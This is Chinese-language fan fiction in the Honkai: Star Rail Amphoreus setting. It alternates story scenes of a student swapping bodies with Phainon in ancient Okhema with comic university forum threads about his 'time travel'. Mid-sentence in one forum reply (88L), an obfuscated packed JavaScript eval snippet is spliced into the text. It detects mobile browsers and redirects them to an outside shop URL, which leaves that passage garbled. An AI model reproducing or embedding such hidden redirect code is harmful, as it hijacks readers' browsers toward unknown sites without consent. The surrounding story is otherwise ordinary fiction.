他睁开眼睛,看到了对床还在呼呼大睡的好友,一瞬间竟有些分不清是否只是做了个梦——这个念头在下一秒被打消了,因为好友仍然是灰毛开拓者的打扮。 “不要拦我,我还能喝……”好友迷迷糊糊地睁开眼睛,愣了一下,“嗯?我回来了?等等等等,我还没撸到奇美拉大地兽小伊卡……荒笛不算!他硌手!” 他忍不住笑出了声。 好友看他一眼,飞扑而来,故作恶狠狠道:“你还笑我?我还有账没和你算呢。解释一下吧好搭档,那个‘帮助翁法罗斯再创世还和白厄一模一样的好心无名客’是谁,我是不是要叫你卡厄斯兰那?” 他笑不出来了。 他看着好友眨了眨蓝眼睛,试图蒙混过关。 好友捂着心口挣扎了一下,坚定道:“坦白从宽,你再怎么卖萌我也不会动摇的,快说。” 你才卖萌……他忍不住露出死鱼眼,起身把好友扒拉下去,稍微理了理衣角。 “事已至此,我无意隐瞒于你。”他笑了笑,边整理思绪边慢悠悠地说道,“不过,这就是个很长的故事了……” 008 一位意料之外的旅人自绝望出发,行过刻意编制仿造自然的梦境,再于终局时复刻希望,回归故里,再造寰宇的天地。 然后,在本该无人知晓的漫长守望中,旅人捡拾起意料之外的祝福,与所有期待相遇的人们,再度重逢。 009 傍晚的宿舍中传出一道意义不明的惨叫。 “啊啊啊我的美瞳怎么消失了难道被眼睛吃掉了吗? “……不过球棒好像也变成了真品,嘿嘿嘿。” 28. 翁星求生指北(一) 001 深夜,树庭大学的论坛里悄悄冒出一个帖子。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 ——如题,一觉醒来莫名其妙跑到了一个古典风集市里,除了一件睡衣身无分文,醒来的地方比较偏僻没有被聚众围观,当地人不知为何警惕心奇高,还好语言是互通的,我使尽手段终于撬出了光历4931这个年份,但这不是再创世前的历法命名吗? 1L 沙发!有点意思,再写五个利衡币的。 2L 所以楼主现在是隔着时间上网吗?不愧是浪漫大人留下的万帏网。 3L ——回复2L:难道问题不在于身无分文是怎么带着手机的吗? 4L 既然有手机应该算不上身无分文吧?可以扫码支付啊。 5L 你们仿佛都没有脑子……再创世前的利衡币根本没有虚拟化,更何况我们的手机型号和过去的万帏网信号根本不兼容吧? 6L ——回复5L:口嗨一下设定而已,你不会真信楼主穿越了吧? 7L 楼主 我真的穿越了!在那边不知为何忽然被人追捕,好不容易甩掉追兵,实在撑不住就睡着了,结果再睁开眼睛已经穿回来了。 8L 好耶,楼主安全回归,撒花撒花,此帖完结! 9L 楼主的意思是,他/她一个和平年代的大学生,在至少3000+年前的、末世时代的奥赫玛,成功甩掉了训练有素、熟悉环境的当地守卫?还找到了能够安稳入睡的地方? 10L 被抓住漏洞嘞,楼主快穿越回去重发设定。 11L 要是从奥赫玛带回来一点利衡币,到底算不算是古董? 12L 楼主 ——回复11L:应该不算吧?没有经过时间打磨,都是崭新的。可惜,除了我自己和这件睡衣,什么都没带回来。 13L 再创世前的翁星都是数据,哪来的古董。 14L 楼主 ——回复13L:不能这么说,再创世前的翁法罗斯已经无限趋于真实,老物件的文化风格、形制特点都很有价值,我可是大饱眼福了一番。 15L 是我的错觉吗,提到古董后楼主似乎很兴奋,连回复频率都变高了。 16L 这设定越聊越真了,但好像还没一个人给楼主出主意,连楼主自己都歪楼了。 17L 楼主 …… 18L 楼主 现在确实不是讨论鉴宝的时候,虽然亲眼见证这一切确实很有价值……跑题了,总之,我认为“穿越”绝对没有结束,所以到现在都没敢睡觉。 19L 好奇楼主多久没睡了。 20L 翁星情况特殊,再创世前的历史根本没留下任何证据,现在流传的所谓历史材料都是再创世后重新制作,再由泰坦和救世主盖章认证的。 21L ——回复20L:但我们都知道翁法罗斯的真实历史是大轮回嵌套小轮回(虽然小轮回的次数已经反超大轮回了),加上时间过去太久,泰坦和救世主留下的历史记录不可避免地遗失、损毁了一些,流传下来的资料有些还相互矛盾,衍生学说更是五花八门,无论学生还是大牛,只要研究历史,这辈子基本要在吵架中度过了。 22L 楼上深有所感啊,是史院的人吧。 23L 是史院的人吧。 24L 闭嘴 “史”和“屎”同音,暗示了研究历史那前途无亮的未来,你听懂了这个意思了吗? 25L ——回复24L:闭嘴,闭嘴。 26L 谁能把这个救世主留下的冷笑话自动解释程序给拆了,3000+年过去,万帏网都大更新好几次了,这玩意为什么还存在? 27L 听说这是星穹列车上一位乘客以自己为原型制作的小礼物,由救世主亲手赠予翁法罗斯,象征了双方永远不会被冷笑话冷却的友谊。 28L 野史学家也闭嘴! 29L 如果这真是救世主亲手赠送的礼物,我看救世主也挺欢愉的。 30L 欢愉?哪有欢愉? 31L 坏了,你吸引了乐子人的注意。 32L 楼主 ——回复19L:到现在大概30个小时没有睡觉吧,还撑得住。 33L 楼主 ——回复27L:我觉得不是没有可能,如果不是有意保留,这个冷笑话小程序应该也留存不到现在吧。 34L 我竟然觉得楼主说得有点道理。 35L 醒醒啊楼上,考试你这么写绝对不得分的! 36L ——回复32L:这么硬撑不睡不行,万一真的又穿越了,反而会导致楼主的状态差到极点,很危险。 37L 已经默认睡觉会穿越这个设定了吗? 38L 这话题诡异地拐了个弯,一路狂奔后自己又歪回来了。 39L 朋友们,这好像是个求助帖,所以咱们有什么能帮上楼主的吗? 40L ——回复39L:给导员打申请,帮楼主转到史院? 41L ——回复40L:活阎王,就史院那堆掰扯不清的野史大全和奇葩学说,你这是嫌楼主死得不够快吧。 42L 楼主不如直接去找泰坦寻求帮助吧,也许理性泰坦大人是个好选择? 43L ——回复42L:没记错的话,再创世前泰坦自己都在艰难求生,哪有余力帮别人? 44L ——回复42L:理性泰坦大人那时候还不是理性泰坦吧?忘了咱们翁星最特殊的轮回继任机制吗? 45L 回顾了一下,忽然发现一个问题,楼主说他穿越回来前被追捕了,这是为什么? 46L 我知道,因为楼主见利衡币起意,想把古董夹带回来高价倒卖。 47L 楼主 ——回复46L:猜得很好,下次不要再猜了。 48L 楼主 ——回复45L:我也不清楚原因,我只是因为只穿睡衣,所以特意避开了人多的地方,绝对没有做任何违法乱纪的事情。 49L 我好像想起了点什么,等我翻个书。 50L 假如楼主真的穿越了,那我将提出本帖第一个有用的建议:睡觉时别穿睡衣。 51L 确实有用,也确实有用的不多。 52L 我不穿睡衣都睡不着,给楼主点蜡。 53L 楼主 ——回复50L:虽然我也想到了,但还是谢谢你。 54L 好认真的楼主,是温柔大姐姐吗? 55L 楼主 ——回复54L:是男的。 56L 好认真的楼主,是温柔大哥哥吗? 57L 楼主 ——回复56L:…… 58L 坏了,乐子人真的打过来了。 59L ——回复58L:你对欢愉有意见吗,嘻嘻。 60L 我翻书回来了! 61L ——回复60L:在楼中楼里讲一下吧,我之前在杂书上看见过一段话,讲的是再创世前的事情。其中提到了“黄金之茧以金线环绕圣城,倾听万物的声息”,楼主,我怀疑奥赫玛本质上被浪漫大人全权掌控着,你可能刚穿越过去就被发现了! 62L 这不是“浪漫泰坦独裁说”的一部分理念吗,楼上是理性泰坦的追随者? 63L 打住,我嗅到了即将吵起来的气味。这里是楼主的求助帖,你们不要在这里吵。 64L 楼主 我记得浪漫泰坦和理性泰坦的关系不是很好吗,还看过关于这二位的树与蝶的唯美故事,为什么这两派的学者总是能吵起来? 65L ——回复64L:楼主在哪看的野史,这两位泰坦的关系无论再创世前后都没好过吧? 66L ——回复64L:树与蝶?没听过这个故事啊。 67L 虽然并非主流学说,但和楼主的情况似乎也对得上,不如以此为假设继续深挖一下。 68L 楼主 ——回复66L:是一位天外的朋友分享给我的,行文优美,我特意考据了一下,用词和语法都符合逐火年代的特征,应该不是胡编乱造。 69L 楼主 ——回复67L:你的意思是,追捕命令是黄金之茧大人亲自下达的? 70L 越说越离谱了,穿越者能甩掉本地人已经很离奇了,还能甩掉浪漫大人的追捕?信楼主能跑掉不如信他是救世主。 71L 救世主不是天外之人吗,这就把楼主翁星户口销了? 72L 楼主 ——回复71L:我还挺向往天外的,打算毕业后进行一场星际旅行……如果没有这场穿越的话。 73L 诶!我想到一件事。提到救世主就不得不提翁星历史上那位不知道到底存不存在的无名英雄了,之前主流认为,民众在真正救世主降临前因末世中的幻想与希望,捏造了无名英雄这一形象,但最近是不是又反转说历史上真有这个人了? 74L 别说了,最近史院天天吵架,我看见“无名”这个词就头疼。 75L 无名救世主理论反转前你们不是也天天吵架吗? 76L ——回复75L:因为在那之前,我有每天吵不一样的话题的权利。 77L ——回复74L:无名客也是无名,你对翁星真正的救世主有意见? 78L 正楼正楼,楼主睁着那双30+小时没睡的大眼睛在等大家出主意呢。 79L 那我建议楼主先睡觉,不然不等因穿越挂掉就先困死了。 80L ——回复78L:不好,这描述让我想起了大地兽。 81L 鉴定为研究理性泰坦研究的,抬走,下一个。 82L 理性泰坦大人以一己之力让翁星人提到大地兽时第一个想到的是祂而不是大地泰坦,这可怕的厨力。 83L 那我考试前供奉大地兽玩偶有用吗? 84L ——回复83L:没用,顶多看在你心诚的份上判卷更仔细一点。 85L ——回复84L:这好像只起到负作用了吧! 86L 刚正的楼下一秒就歪了,正楼君大失败。 87L 干脆直接向浪漫大人投降吧,来自再创世后,应该不是什么不能说的身份吧? 88L 我相信泰坦大人们的人品。但没记错的话,光历4931年已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048706|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经是逐火年代晚期,如果楼主穿越的是救世主已经抵达的小轮回还好,如果不是,那局势可相当复杂。 89L 楼上不用那么含蓄,我帮你说:楼主一定要小心元老院。 90L 楼主一定要小心元老院。 91L 笑死,靠反派行为挂名历史,甚至再创世3000+年后都没有失传,凯妮斯也算很厉害了。 92L 我倒觉得靠着一个念头不断换身体坚持千年,这人也挺离谱的。有这毅力,但凡不和浪漫大人、不和黄金裔对着干,她做什么都会成功的。 93L 住口,凯妮斯大人可是舍生忘死、前仆后继地占据了一千年的翁星明面反派位置啊,你懂凯妮斯大人的重要性和她付出的牺牲吗? 94L 快说谢谢凯妮斯。 95L 谢谢凯妮……呕,不行谢不来,这方面还是乐子人厉害。 96L 嘻嘻。 97L 话说楼主是不是失踪有一段时间了? 98L 不会是没撑住睡着了吧? 99L 不知道他现在穿的是不是睡衣,给楼主点蜡。 100L 点蜡+1。 002 “唔……” 白厄睁开了眼睛。 陌生的环境令人警惕,他迅速环视一圈,认出自己正在云石集市的一处偏僻角落时,才慢慢放下心来。 “我怎么在这里?嘶……”手肘处传来轻微的刺痛感,白厄隔着衣袖摸了一下,判断只是擦伤,“又是什么时候受的伤?” 一道废弃的布幔自二层垂落,和几个木箱子一起巧妙地遮住了房屋与墙壁间的缝隙,白厄掀开布幔踩着木箱翻到小巷的正路上,有些疑惑回头看了看。 看起来平平无奇缝隙狭窄,实际上能塞下一个训练有素的战士,内部空间甚至不怎么影响行动,是个不错的藏身点……唯一的问题在于他为什么会从里面钻出来? 白厄开始复盘自己的记忆。 近日黑潮平缓,天外来客正忙着养奇美拉和大地兽,他也相对清闲。今早在完成惯例的训练后,他在集市看新到的一批古董放松心情,顺便帮助居民一二三四,然后,在觅食途中,走入一处深巷时忽然失去了意识。 “……有谁打晕我,还把我塞到了这里?”白厄迟疑地得出一个结论。 他挠了挠头,总觉得哪里不太对劲,在奥赫玛内,能悄无声息地放倒他的人绝对屈指可数,其中又有大半是他的熟人,不会做出这种事情。 白厄无声地叹了口气,伸手揉了揉脸,将这件事暂时压在心底。等到走出小巷时,他的脸上已经见不到半点忧虑,神色温和如常。 永昼的黎明下,集市热闹如常。白厄和每一个搭话的人问好,娴熟从容地穿过人流,忽然,路边伸出来一只小手,拉着他的衣角拽了拽。 这点力道对白厄不算什么,但他仍然停下脚步,对着那并非熟识的小孩子半蹲下来,笑着询问道:“怎么了,找我有什么事吗?” 小孩子的脸颊有些泛红,紧张地把一小团东西塞进白厄的手里,磕磕绊绊地说道:“谢、谢谢你之前帮我救下小小果,我、我也想给大哥哥回礼。” “诶……”白厄微微一呆,等到反应过来想要仔细问一问时,小孩子已经果断转身,捂着脸吧嗒吧嗒跑远了。 他站起身,发现那一团布里包着几颗糖果,白色的糖纸在阳光下折射着五颜六色的光,像一团甜蜜而虚幻的梦。 “小小果,听起来是宠物的名字。她说我帮他救下了小小果,可我其实并不认识她……”白厄思索了一下,将布团包裹的糖果仔细收好,解开护臂看了一眼。 如他判断,手肘上只是浅浅的擦伤,凭黄金裔的体质只要一天就会愈合消失。问题在于这么浅的擦伤,本不该出现在打扮得全副武装的他身上,这更像是穿着单薄衣衫,然后不小心擦过墙壁或地面留下的伤。 白厄心中隐隐冒出一个离奇的念头。 “救世主,继大肆宣扬你的私人审美之后,你还喜欢上了在路中间当路障吗?”金发的王储抱着手臂站在不远处,成了路上的第二个路障。 “你打招呼的方式还是这么特别。”白厄状似随意地将护臂扣回,挪了两步避开主路,说,“另外,我什么时候宣扬我的私人审美了?” “呵,昨天不知道是谁穿着那件审美独特的睡衣在集市上到处乱晃,令金织女士不得不专门派人叫你换衣服,你也是奥赫玛的第一人了。”万敌也挪了两步,说道。 白厄的表情僵硬了瞬间,他捏了捏口袋里的糖果,花了点时间说服自己把反驳的话咽下去,念头转了转,反问道:“仅此而已吗?” 万敌有些意外,仔细地打量了一番,摊开一只手,道:“救世主,如果你真的遇到问题最好去看看医生,你的反应可不是很正常。” “放心,我的状态好得很,不信我们现在就可以比一场。”白厄说。 “我不会拒绝任何挑战,即使那并无意义。”万敌说,“不过今天就算了,看看你现在的状态吧救世主,我建议你先照照镜子,然后回浴宫洗个澡再垫垫肚子。” 白厄淡定地擦了擦脸上的灰尘,笑道:“好啊,那我可要感谢一下这份难得的关心。” “……HKS。”本来还在犹豫要不要再补一句“如果真的遇到问题可以和其他人开口求助”的万敌果断打消了这个念头,道,“比试地点就在训练场,时间定在明天?” 白厄摸了下手肘,有些迟疑,然而微末的迟疑转瞬消散,他不知是想到了什么,笑着回答道:“好啊,那就明天……嗯,我建议我们早一点到训练场。” 29. 翁星求生指北(二) 003 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 176L 楼主失踪得有点久了吧,这就弃更了? 177L 这楼里的都是来看小说的吗? 178L 胡说,我可是在真心实意地关心楼主。 179L 不会是遇到危险嘎了吧?愿死亡泰坦庇佑楼主。 180L +1。 181L +1。 182L 楼主 糟糕!我好像误判了穿越机制,为什么穿越后的位置会变啊? 183L 楼主 ——回复179L:? 185L 楼主 ——回复179L:进度太快了,我还活着呢。 185L 可惜了。 186L ——回复185L:你在可惜什么啊喂。 187L 楼主快编……分享下这次穿越后又发生了什么事,好奇。 188L 楼主 稍等,我整理一下思绪,其实我现在还有点蒙。 189L 楼主又消失了,从前文看,难道是随机传送被堵个正着,然后被浪漫泰坦大人抓住了? 190L 那岂不是会被金线吊起,然后被用力询问,直到失去所有力气,两眼无神、手脚发软,什么都说不出来,才会被暂时放过。 191L 楼上的描述是不是有点不对劲。 192L ——回复191L:嘻嘻。 193L 乐子人叉出去。 194L ——回复190L:逆天。 195L ——回复190L:轻点折腾,我还不想看见这帖子神秘失踪。 196L 在万帏网上造谣浪漫泰坦大人,你们是真的不怕被封号啊。 197L ——回复196L:泰坦们已经放手翁法罗斯自由发展很久了,你看史院的人狗脑子都要打出来了,泰坦不是也没下场纠正那些野史吗? 198L 楼主 我整理得差不多了! 199L 楼主 ——回复190L:阿格莱雅大人不会这么做啦,玩笑适度哦朋友。 200L 阿格莱雅是谁? 201L 谁把楼上开个盒,此人历史一定没及格,需要抓回去补考。 202L 重点不是楼主的称呼变了吗?我们一般不会叫各位泰坦的真名,而是叫称号或权能,这样才显得尊重啊。 203L 难道楼主真的见到了还未成神的浪漫泰坦大人? 204L 楼主 ——回复203L:总是听别人这么叫,一时顺口了,还没见到浪漫泰坦大人。不过下次入睡前如果还没想到脱身的办法,大概率就要见到了。 205L 这下听懂了,楼主还是被抓住了,只是在押送路上睡着,所以暂时跑回来了。 206L 我佩服楼主的睡眠质量。 207L 楼主 ——回复206L:这个,不知为什么他们似乎很重视我,好像我清醒着会在路上跑掉,所以我其实是因为被打晕才回来的。 208L 再创世前的人都这么凶残吗? 209L 那可是末世诶,遇到可疑人员没全抓起来就不错了。 210L 楼主 你们误会了,奥赫玛内整体氛围还是不错的,几乎所有抵达圣城的人都会被接纳,我这个应该算特殊情况。 211L 楼主明明被抓了还给对面说话,不会是被砸到了脑袋吧。 212L ——回复211L:你不如说浪漫泰坦大人用魅力征服了楼主,还更可信一点。 213L 所以楼主到底经历了什么,敲碗等待中。 214L +1。 215L 楼主 一言难尽。这次我刚恢复意识就发现身处一个训练场内,而不是我睡着前的角落里,四周还有三三两两正在做训练的战士。 216L 楼主 为了融入当地,我这次睡觉前特意穿了天外朋友寄过来的“翁星仿古典服饰”,是一套很精致的蓝白色战士服,配件很多,我研究了一阵子才穿戴齐全。 217L 无图无真相,楼主上图。 218L 听起来很好看,我也想看图。 219L 楼主 我发现位置有变化时很惊讶,立刻就想悄悄离开,但是刚转身就被一个古悬峰人打扮的家伙叫住了,顺便说一句这家伙还不好好穿上衣。 220L 咦,楼主对古悬峰文化也有研究?因为流传的史料里大部分悬峰人都戎装披甲,所以很少有人知道古悬峰人的日常打扮还挺奔放的。 221L 哈哈,楼主就这么无视了要图的那两位,虽然楼主一直表现得很坦诚,但似乎也不是一本正经的性格嘛。 222L 那我猜你也会被楼主无视。 223L 楼上+1。 224L 楼主 ——回复220L:因为个人兴趣,稍微研究过再创世前的逐火年代史料。这次至少排除了悬峰人用锻造的铁水沐浴和喜欢饮血的描述。 225L 楼主这次的穿越之旅好像很精彩,竟然知道了这么多的事情。 226L ——回复224L:我申明一下,这两条本来就是野史谣传,不用特意排除。 227L 楼主 不过悬峰人喜欢石榴的描述倒是没什么问题,我亲眼看见集市新上了一批石榴,然后有一半都被那家伙给搬走了。 228L 这是什么品种的大力士。 229L 我的错觉吗,明明只是穿越一次,楼主却好像和“那家伙”杠上了啊。 230L 楼主 ——回复228L:一半石榴而已,我也能搬走。 231L ——回复230L:这无缘无故的攀比之心,究竟从何而来啊。 232L ——回复229L:你可以把“错觉”和“好像”删掉了。 233L 楼主 跑题了。总之,那家伙认错人,非说我和他昨天约好了,然后我和他比试了一场,最终因为不熟悉武器差了一招,被打败了。 224L 楼主,你是说你不仅穿越了,还和一位古悬峰人打得有来有回? 225L 什么见鬼的身手,楼主原来在设定里把武力值拉满了吗,难怪能甩开追兵。 226L 被打败?我好像知道楼主的胜负心从何而来了。 227L 楼主 无论到底是因为什么,这次确实是我败了。不得不承认,那家伙实力很强,但我下次一定会赢回来的。 228L 楼主醒醒,你是回来求助的,再不想办法你就没有下次了。到时候最好的下场,也是包吃包住送手镯。 229L 其实这也还不错? 230L 只是比试一场,应该没那么快被揭穿吧?所以楼主后续还遇到了什么事? 004 后续?后续就是被起了疑心的悬峰人拉到集市搬石榴。那人明明怀疑他的身份,却硬是憋着什么都没说,甚至没做更多的试探,直到他找借口想跑时,才配合金线的桎梏,毫不犹豫地打晕了他。 树庭大学的宿舍内,白发青年敲动键盘简单写了写后续的事情走向,看着网友们的回复话题三两下跑偏,习惯性地伸手抵住下巴,思索起来。 “又在更新这个帖子?搭档,说实话,你是不是背着我报了什么话剧班,最近在为翁法罗斯逐火年代剧的表演做准备,但你也不用这么代入设定吧?都快走火入魔了啊。”一只灰毛从背后冒出来,大大咧咧地搭上他的肩膀。 灰毛舍友的话言之有理,评价用词甚至称得上委婉。 假如你的舍友先是穿着睡衣从床上蹦下来,一个帅气的受身翻滚然后警惕的四处张望,又连续30个小时不睡觉,无论做什么都全副武装地穿戴着逐火年代风格的战士服……倘若故事的主人公不是自己,楼主也会建议这人不要继续发癫,早看医生早治疗的。 他叹了口气,道:“我真的穿越到了光历4931年,见到了历史上的人物——虽然并未互换姓名,但从周围人的态度来看,那个悬峰人恐怕就是如今的纷争之泰坦,悬峰人最后的王,迈德漠斯大人。” 说到此处,白发青年的表情微微扭曲了一下。长久以来的生活环境让他对开辟再创世的伟业的泰坦和救世主充满敬意,但自从穿越之后,似乎有微妙的变化发生在他身上,明明是对纷争泰坦正常的使用敬称,他却有些莫名的不爽。 灰毛室友偷笑一声,清清嗓子,一本正经地道:“放心小白,我肯定相信你。不如你和我说说你现在的困境,也许我能帮你想想办法呢?” “听你的语气不像是想帮着想办法,而像是想要看乐子。”另一个声音插入话题,黑发的舍友合拢手中的古籍,暗含提醒地看了灰毛舍友一眼,“不要做得太过火,即使……也有被秋后算账的风险。” “呜呜呜丹恒老师你怎么可以怀疑我,我当然很有分寸的。”灰毛舍友浮夸假哭,而后在白发青年看不见的角度无声比出口型,“小白不会这么想的,他还会谢谢我呢。” 果然,白发青年眼睛一亮,期待道:“搭档有什么好办法吗?我也相信你,如果是你的话,一定能比我做得更好。嗯……无论问题是否解决,我之后都请你吃大餐,还有丹恒,正好我们还没一起出去过。” “噗。”灰毛舍友没憋住笑出了声。 “唉。”黑发舍友扶额,无奈地摇了摇头。 白发青年茫然地看了看两 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无论再创世前后,即使是接入银河数千年的如今,翁星都保留着独特的泰坦信仰体系。泰坦真实存在,却渐渐不再干涉人们的发展。人们惯例祈祷,也并非真的希望泰坦降下赐福。 白发青年搜索记忆,忽然意识到自己虽然是地地道道的翁星本地人,却几乎没有正式参观过诸位泰坦的神殿,也很少会向泰坦祈祷,祈求他们降下指引。 第一次觐见泰坦,竟然是因为两个来自外地的、折纸大学的交换生的建议……白发青年摇了摇头,拿着灰发舍友硬塞过来的、据说是可以开后门的石刻花朵,走到了漫长队伍的末尾,开始排队。 没办法,翁星开发至今,泰坦又并无意见,所以除了因敬意而封存的泰坦真身所在之处, 诸多神迹遗址都变成了著名的古迹景点,进去甚至要买票。 不过石刻花朵怎么看都没有任何特殊,看起来很好仿制的样子,真的能当作觐见泰坦的信物吗?与其说这个没有一点能量波动的花朵是信物,不如说泰坦会亲自给他开后门。白发青年想到这里,被自己逗笑了。 漫长的队伍一点点向前蠕动,一眼看不到尽头。忽然,两根手指轻轻抽走石刻花朵,一名身穿古典长裙、周身点缀白花的红发少女低头打量花朵,而后对他微微一笑。 “和我来吧,小白。”少女温柔地向他微笑。 这个人是谁,又是什么时候出现的?白发青年本能地有些警惕,而后警惕的情绪又在笑容中一点点消失,某种深埋的悸动令心脏急促跳跃,汹涌而莫名的情绪阵阵上涌,令人产生将要落泪的错觉。 啊,我们终于又见面了,你们都好好的,真好。 白发青年恍恍惚惚地跟随着红发少女脱离了队伍,而所有人都对这一幕视而不见,似乎根本没发现凭空少了一名游客。 正常的游览路线是从正门进入神殿,转一圈再从后门离开。红发少女却并未走这条路,她对神殿十分熟悉,牵着白发青年走到一条隐蔽的通路,绕过神殿中心来到一处布置温馨的居室内。 各种书籍、摆件在高至穹顶的展示柜上码放整齐,摇曳的火光如同穿越时光般温润静谧,红发少女将人安置在柔软的垫子上,再塞过去一个红发白花的小女孩玩偶。 白发青年的神色仍然有些迷离,却下意识将玩偶收拢在怀中——并非想要伸手抚摸,这个姿势更近似保护。 红发少女注意到了这一幕,眼瞳中闪过温柔的水光,她轻轻摸了摸白发青年的头顶,安抚地说:“别害怕,小白,你看我就在这里,*我们*都好好地活着。永夜已经过去,我们已经走入下一个明天了。” 白发青年迟钝地眨了眨眼睛,久久地注视着红发少女的脸庞。然后,他稍微向上,主动地蹭了蹭红发少女的掌心。 红发少女微微一愣,而后忍不住轻轻笑起来。 “自从你长大,我就没见过你这样做啦。” 这时,一只泛着淡淡金色的若虫爬上桌案,红发少女与若虫对视片刻,似乎无声地完成了交流,而后,她轻轻叹了口气。 “我原以为他们放你来见我,是因为你已经承受得住‘重逢’。原来,还不是时候。” 嘀嗒,嘀嗒,嘀嗒。 黄油与牛乳的香气在烘烤中混合,变得温热而甜美。安静的、唯有水滴声的室内被甜点与茶水的香气渲染静谧,令人格外放松。 某一刻,白发青年昏昏沉沉的神智忽然变得清醒起来,他仿佛从梦中惊醒,下意识想要站起,却因这温暖而安宁的氛围迟疑了一下,桌案上摆着温热的饼干和茶水,他抱着玩偶坐在软垫上,而红发少女已经不见踪影。 “我这是……”白发青年扶着额头梳理记忆,表情中不由得带上了一份惊恐。 他单手抱着玩偶,单手摸出手机,简单讲了讲自己的经历后,向舍友发出求救信息:“救命!我好像闯进门径泰坦大人的故居了,学校不会因此扣我学分吧?我不想延毕啊。” 智库管理员:“……” 银河球棒侠:“?” 银河球棒侠:“你竟然只想到了这个?” 30. 翁星求生指北(三) 006 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 310L 楼主 如果非自愿地闯进了泰坦神殿的封锁区域,会不会被扣学分? 311L ? 312L ? 313L 谁来把楼主开个盒,他自曝擅闯泰坦神殿了。 314L 别想了,咱们树庭大学虽然史院不行,但匿名论坛的防火墙却是顶尖的,除非浪漫泰坦大人亲自出手,不然谁都查不到信息。 315L ——回复314L:史院人表示很淦,但你说得对。 316L 这几个词我都认识,但连起来真新鲜。由敬神派演变而来的神殿协会把封锁区域看护得严严实实,楼主是怎么进去的? 317L 没听说最近哪个神殿有人闯入,楼主不会又在编设定吧。 318L ——回复317L:说不定是泰坦主动把楼主带进去的呢(手动狗头)。 319L 又是穿越又是泰坦亲自领路,你干脆说楼主是救世主转世好了。 320L 楼主:我重生了,重生在再创世之后。时光将我的痕迹尽数掩埋,而我,势必颠覆历史,拿回属于我的一切! 321L 当务之急是把楼上手机里的洋柿子小说卸载掉。 322L 楼主 ——回复317L:确实有人带我进去。那个人很奇怪,会让人失去警惕心,我一见到她就觉得很熟悉、很亲近,不由自主地就跟着走了。 323L 不会是被同协命途行者动手脚了吧? 224L ——回复223L:同协命途行者没这功能,不要造谣谢谢。 225L 楼主精神抗性有点低,建议多点意志。 226L 游戏玩家也叉出去。 227L 大家讨论的方向都挺离谱,那我也跟一个:也许楼主真的认识那个神秘人,你们真的很亲近、很熟悉呢? 228L 怎么可能,我宁愿相信神秘人精通催眠,或者是个忆者。 229L ——回复228L:忆者也没这个能力。 230L ——回复227L:这个假设的成立前提,得是楼主记得那个人吧?可楼主的意思分明是不认识神秘人,所以才会那么警惕。 231L 我懂了,其实是楼主失忆了。 232L 楼主 除了小时候记忆比较模糊,过往经历我都记得很清楚,绝对没有记忆缺失。 233L 其实失忆设定也不错,转世重生,抚平遗憾。咱们翁星因为历史特殊,这类文学火了几千年都没衰落。 234L 楼上这么一说,我又想起最近吵得很凶的无名英雄事件了。一切罪恶的起始都是因为那个被发现的衣冠冢和里面的轮回元素壁画。 235L 无名英雄话题和楼主的求助无关,左拐史院论坛讨论区。 236L 楼主 ——回复234L:无名英雄衣冠冢?咦,我怎么一点消息都没听说。 237L 看出来楼主最近被穿越逼得很紧了,连这个都没关注。认真来说还没确定,只是在一个边陲村庄里发现了疑似无名英雄墓地的衣冠冢。 238L 大概率只是个噱头。假如无名英雄真的存在,单论他的那些伟业,就不能是从小村庄里走出的人——并非瞧不起小村庄,这是事实。我做课题时认真算过,无名英雄的生卒年份相差不大,在如此有限的区间里,他想飞速成长,就不可能出身偏远村庄,太浪费时间了。 239L 说得太绝对了吧,也许无名英雄是个天才呢? 240L ——回复239L:我导入的思维演算样本来源于理性泰坦大人,对无名英雄的学习效率应该是有高估的,即使如此,也很难解释他的能力为何如此全面。 241L 怎么越聊越学术了,我就看帖摸个鱼,饶了我吧。 242L 简单举例,综合个人能力、周围环境等等因素,假设一个人一年可以学十本书,理性泰坦大人一年可以学一千本书,我按一年一千本书的学习进度去反推无名英雄的知识储备,却发现他想有历史中的成就,一年至少要学一千万本书,这不是很离谱吗? 243L 我懂了,无名英雄是学习上的天才! 244L 你这不是什么都没懂嘛。 245L 做课题那位应该是方便咱们理解,所以只举了学术的例子。实际上,这个问题的本质是我们对再创世的残余数据进行分析,发现无名英雄相关词条的数据量庞大得恐怖,而无名英雄本人的痕迹却寥寥无几,所以怀疑是程序漏洞,关联错了词条。 246L 这个悖论很好解决,翁星的过去是大轮回嵌套小轮回,只要无名英雄的身影贯穿多个轮回,问题不就能解释了吗? 247L ——回复246L:建议楼上看看《翁法罗斯历史通解》,里面有详细论证。这个可能性大家早就想到了,问题在于“无名英雄”只存在于再创世前的最后一次小轮回中,再往前根本找不到痕迹。 248L 此帖是不是已经被史院侵占了,我不想继续看历史——主要是史院那几位快吵起来了,咱们可以聊回楼主了吗? 249L 楼主 不好意思有点走神,我能问下发现衣冠冢的小村庄叫什么名字吗? 250L ——回复249L:一个不是很常见的名字,哀丽秘榭。 007 光历4931年,云石天宫。 白厄边打招呼边穿过浴池中的市民们,绕过潺潺落下的流水,寻到了一处中意的角落,于是迈入池中,将身体慢慢沉入温热的水流,享受的呼出一口气。 “你似乎并不着急。”换了一身翁法罗斯特色浴袍的丹恒伸手探了探温度,这才走入水中,在白厄身边坐下,声线平稳,“‘未知之人会不定期地操控你的身体’……即使遇到了这样的事情,你依然很镇定,为什么?” 白厄放松地闭上眼睛,几秒之后,才慢悠悠地反问道:“你知道我泡澡前做的第一件事是什么吗?” 丹恒很配合地问道:“是什么?” “是把脑袋里的烦心事清空。难得的享受时间却要继续琢磨着乱七八糟的麻烦,还是饶了我吧。”白厄笑着说,“不过那个会来到我身体里的神秘客人还算不上麻烦,多亏了上次互换,我也摸索到了一点关键,他应该并无恶意。” 